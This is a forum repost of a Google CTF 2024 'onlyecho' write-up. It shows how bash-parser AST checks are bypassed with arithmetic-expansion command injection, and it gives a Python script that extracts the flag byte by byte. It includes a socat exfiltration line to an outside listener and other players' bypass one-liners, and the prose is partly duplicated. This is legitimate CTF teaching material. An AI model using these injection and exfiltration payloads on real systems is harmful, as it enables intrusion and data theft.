- Регистрация
- 20.01.2011
- Сообщения
- 7,665
- Розыгрыши
- 0
- Реакции
- 135
Google releases some really cool CTF challenges every year. This year was no exception. onlyecho was one of the relatively easier ones, but it ended up being a lot of fun to solve. I was intrigued by the challenge and decided to dive right in.
This was the challenge description:
It also provided the code as an attachment.
To kick things off, I connected to the server using:
Response from the challenge server
Upon connecting, I was met with a proof-of-work challenge. This is a typical step to prevent brute-force attacks. Once I solved that, the server prompted me to enter a command. I started simple with:
And it worked perfectly. Now, the goal was to read the flag located at /flag, and I had to do it only using echo. My initial attempt was:
Well, I used cat, but I wanted to know what would happen if I broke the rules. It returned:
The system was onto me. It looked like there were some checks happening behind the scenes that disallowed malicious commands. I decided to examine the provided code.
The attachment had 3 files: nsjail.cfg, Dockerfile, and challenge.js. The first two were irrelevant, so I focused on challenge.js, which contained the following code:
In short, the script parses the command and checks the Для просмотра ссылки Войди или Зарегистрируйся (AST) for any forbidden constructs (like redirects or non-echo commands).
The Для просмотра ссылки Войди или Зарегистрируйся library looked interesting! I decided to check the source code on GitHub—the last update was 7 years ago. My initial thought was that there might be some vulnerability that I could exploit.
I installed the bash-parser package locally to test payloads without interacting with the challenge server every time. I made a quick script that accepted an input, parsed it using bash-parser, and printed the generated AST, along with debugging statements for all the checks. Here’s what the script looked like:
This setup allowed me to test various payloads efficiently. As expected, testing with echo $(cat /flag) failed, but the detailed output and the AST representation was useful:
It failed because the command was cat, not echo.
The AST has a recursive structure, meaning the checks are applied to nested commands as well.
To bypass the two if statements, I needed a command that:
или Зарегистрируйся.
Documentation showing different AST types
Arithmetic Expansion caught my eye. In Bash, arithmetic expansion allows the evaluation of an arithmetic expression and the substitution of the result. The format for arithmetic expansion is:
I created a fake flag at /flag in my local system, and tried:
The output was:
The fake flag I created (this-is-a-fake-flag) was in the output. This meant I had command injection!
However, there was a problem—the actual challenge.js script only returned the contents of STDOUT, not STDERR, and my output was printing to STDERR. This meant the output wouldn’t be visible in the challenge environment.
To confirm my suspicion, I tested the payload on the challenge server. Surprisingly, I received the following error:
After some experimentation, I figured out that the error was because parser couldn’t handle the $(...) syntax. So, I replaced $(...) with backticks:
The challenge server did not return any errors this time! I knew the command was executed on the server, but I couldn’t view the output. Now, I needed to find some way to leak the flag.
I set up a listener on my server with:
And then I tried to leak the flag using socat:
Although it worked on my local system, it didn’t work on the challenge server. The server was likely firewalled and blocking outbound requests. After several unsuccessful attempts to exfiltrate the flag using socat, and nodejs, I decided to explore alternative approaches.
The problem was that my arithmetic expression inside $(( ... )) was invalid, leading to no output. After some head-scratching, I landed on the idea of leaking the flag by converting each character to its ASCII value. This way, the arithmetic expression would be valid, and I could bypass the syntax error.
I tested this approach:
This command reads the first byte of /flag, converts it to ASCII, and outputs that number. Running that command, I got the following output:
That worked! The ASCII equivalent for 67 was C. I didn’t want to manually extract each character, so I wrote a script to automate the process. I knew there was definitely a neater way to accomplish the same, but I was lazy, and just went with what I had.
The script first solves the PoW challenge. It then uses command injection to extract the ASCII value of each character in the flag, one by one. Finally, it reconstructs the flag string from these ASCII values.
I ran the script, and three minutes later, I had the following output:
Output showing the flag
Victory at last!
Discord user pitust used:
It was a nice usage of parameter expansion.
fredd came up with:
This also used arithmetic expressions like I did, but they solved the STDOUT error by creating a file with that name. Nice, I hadn’t thought of that!
amelkiy from pasten team had:
This was my favorite of all. I’m not sure exactly why it works, but it looks very elegant.
Для просмотра ссылки Войдиили Зарегистрируйся
This was the challenge description:
It also provided the code as an attachment.
To kick things off, I connected to the server using:
Код:
$ nc onlyecho.2024.ctfcompetition.com 1337
Response from the challenge server
Upon connecting, I was met with a proof-of-work challenge. This is a typical step to prevent brute-force attacks. Once I solved that, the server prompted me to enter a command. I started simple with:
Код:
$ echo hello
Код:
$ echo $(cat /flag)
Код:
Hacker detected! No hacks, only echo!
The attachment had 3 files: nsjail.cfg, Dockerfile, and challenge.js. The first two were irrelevant, so I focused on challenge.js, which contained the following code:
Код:
const readline = require('node:readline');
const parse = require('bash-parser');
const { exec } = require("child_process");
const check = ast => {
if (typeof(ast) === 'string') {
return true;
}
for (var prop in ast) {
if (prop === 'type' && ast[prop] === 'Redirect') {
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
return false;
}
}
if (!check(ast[prop])) {
return false;
}
}
return true;
};
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
rl.question(`I like scripts with echo. What's your favorite bash script? `, cmd => {
const ast = parse(cmd);
if (!ast.type === 'Script') {
rl.write('This is not even a script!');
rl.close();
return;
}
if (!check(ast)) {
rl.write('Hacker detected! No hacks, only echo!');
rl.close();
return;
}
exec(cmd, { shell: '/bin/bash' }, (error, stdout, stderr) => {
rl.write(stdout);
rl.close();
});
});
Finding a bypass
I needed to sneak past these checks:
Код:
if (prop === 'type' && ast[prop] === 'Redirect') {
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
return false;
}
}
I installed the bash-parser package locally to test payloads without interacting with the challenge server every time. I made a quick script that accepted an input, parsed it using bash-parser, and printed the generated AST, along with debugging statements for all the checks. Here’s what the script looked like:
Код:
const readline = require('readline');
const parse = require('bash-parser');
const { exec } = require("child_process");
const check = ast => {
if (typeof(ast) === 'string') {
return true;
}
for (var prop in ast) {
if (prop === 'type' && ast[prop] === 'Redirect') {
console.log('Redirect found; failed')
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
console.log(`Command detected but '${ast['name']['text']}' not 'echo'; failed`)
return false;
}
}
if (!check(ast[prop])) {
console.log('!check(ast[prop]) failed')
return false;
}
}
return true;
};
const userInput = "echo $(cat flag)";
const astTest = parse(userInput);
console.log(JSON.stringify(astTest, null, 2));
if (check(astTest)) {
exec(userInput, { shell: '/bin/bash' }, (error, stdout, stderr) => {
if (error) {
console.error(`Execution error: ${error}`);
} else {
console.log(`stdout: ${stdout}`);
console.error(`stderr: ${stderr}`);
}
});
} else {
console.log('Input failed the check!');
}
Код:
{
"type": "Script",
"commands": [
{
"type": "Command",
"name": {
"text": "echo",
"type": "Word"
},
"suffix": [
{
"text": "$(cat flag)",
"expansion": [
{
"loc": {
"start": 0,
"end": 10
},
"command": "cat flag",
"type": "CommandExpansion",
"commandAST": {
"type": "Script",
"commands": [
{
"type": "Command",
"name": {
"text": "cat",
"type": "Word"
},
"suffix": [
{
"text": "flag",
"type": "Word"
}
]
}
]
}
}
],
"type": "Word"
}
]
}
]
}
Command detected but 'cat' not 'echo'; failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
Input failed the check!
The AST has a recursive structure, meaning the checks are applied to nested commands as well.
To bypass the two if statements, I needed a command that:
- Would not be parsed by the AST as Command.
- Would not contain shell redirects.
Documentation showing different AST types
Arithmetic Expansion caught my eye. In Bash, arithmetic expansion allows the evaluation of an arithmetic expression and the substitution of the result. The format for arithmetic expansion is:
Код:
$(( expression ))
Код:
$ echo $(( echo $(cat /flag) ))
Код:
bash: echo this-is-a-fake-flag : syntax error in expression (error token is "this-is-a-fake-flag ")
However, there was a problem—the actual challenge.js script only returned the contents of STDOUT, not STDERR, and my output was printing to STDERR. This meant the output wouldn’t be visible in the challenge environment.
To confirm my suspicion, I tested the payload on the challenge server. Surprisingly, I received the following error:
Код:
node:internal/readline/emitKeypressEvents:74
throw err;
^
SyntaxError: Cannot parse arithmetic expression " echo $(cat /flag) ": Unexpected token, expected ; (1:6)
at parseArithmeticAST (/home/user/node_modules/bash-parser/src/modes/posix/rules/arithmetic-expansion.js:15:9)
at /home/user/node_modules/bash-parser/src/modes/posix/rules/arithmetic-expansion.js:35:50
at Array.map (<anonymous>)
at /home/user/node_modules/bash-parser/src/modes/posix/rules/arithmetic-expansion.js:33:54
at Object.next (/home/user/node_modules/map-iterable/index.js:35:18)
at Object.next (/home/user/node_modules/map-iterable/index.js:33:30)
at Object.next (/home/user/node_modules/iterable-lookahead/index.js:54:21)
at Object.next (/home/user/node_modules/map-iterable/index.js:33:30)
at Object.next (/home/user/node_modules/iterable-lookahead/index.js:51:24)
at Object.next (/home/user/node_modules/map-iterable/index.js:33:30)
Node.js v18.19.1
Код:
echo $(( echo `cat /flag` ))
Stealing the flag
My first thought was to exfil it using a tool such as cURL. However, after reviewing the Dockerfile, I realized only socat and nodejs were installed.I set up a listener on my server with:
Код:
$ nc -l -p 8080
Код:
$ echo $(( echo `cat /flag | socat - TCP:100.100.100.100:8080` ))
The problem was that my arithmetic expression inside $(( ... )) was invalid, leading to no output. After some head-scratching, I landed on the idea of leaking the flag by converting each character to its ASCII value. This way, the arithmetic expression would be valid, and I could bypass the syntax error.
I tested this approach:
Код:
$ echo $(( `cat /flag | head -c 1 | tail -c 1 | od -An -t d1` ))
Код:
67
Automate all the things
I created a Python script to automate the following tasks:- Solve the proof-of-work challenge.
- Read each character of the flag and convert it to its ASCII value.
- Join all ASCII values to reconstruct the flag.
Код:
import subprocess
import socket
import re
import time
from tqdm import tqdm
def get_pow_solution(pow_challenge):
result = subprocess.run(["python3", "kctf_pow.py", "solve", pow_challenge], capture_output=True, text=True)
return result.stdout.strip()
def receive_data(sock, buffer):
data = sock.recv(1024).decode()
buffer.append(data)
def extract_ascii_value(char_index):
host = "onlyecho.2024.ctfcompetition.com"
port = 1337
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
data = s.recv(1024).decode()
pow_challenge = re.search(r"\) solve\s+(\S+)", data).group(1)
pow_solution = get_pow_solution(pow_challenge)
s.sendall(pow_solution.encode() + b'\n')
command = f"echo $(( `cat /flag | head -c {char_index} | tail -c 1 | od -An -t d1` ))"
s.sendall(command.encode() + b'\n')
time.sleep(1)
buffer = []
receive_data(s, buffer)
buffer_data = ''.join(buffer)
match = re.search(r'^\d+', buffer_data, re.MULTILINE)
if match:
ascii_value = int(match.group())
else:
ascii_value = None
s.close()
return ascii_value
def main():
flag_ascii_values = []
flag_length = 50
try:
progress_bar = tqdm(total=flag_length, desc="Extracting flag", unit="char")
for i in range(1, flag_length + 1):
ascii_value = extract_ascii_value(i)
if ascii_value is not None:
flag_ascii_values.append(ascii_value)
progress_bar.update(1)
else:
break
progress_bar.close()
# Decode the ASCII values back to the flag
flag = ''.join(chr(value) for value in flag_ascii_values)
print(f"\nExtracted flag: {flag}")
except KeyboardInterrupt:
print("\nExiting...")
if __name__ == "__main__":
main()
I ran the script, and three minutes later, I had the following output:
Output showing the flag
Victory at last!
Other solutions
My solution felt really hacky, so after the challenge ended, I checked the CTF Discord to see how other players solved it. As expected, others had more elegant approaches that retrieved the flag in one go.Discord user pitust used:
Код:
$ a=b; echo "${a/b/$(cat /flag)}"
fredd came up with:
Код:
$ echo $((`echo lol > /tmp/$(cat /flag)`)); echo /tmp/*
amelkiy from pasten team had:
Код:
$ echo `echo \#; cat /flag`
Для просмотра ссылки Войди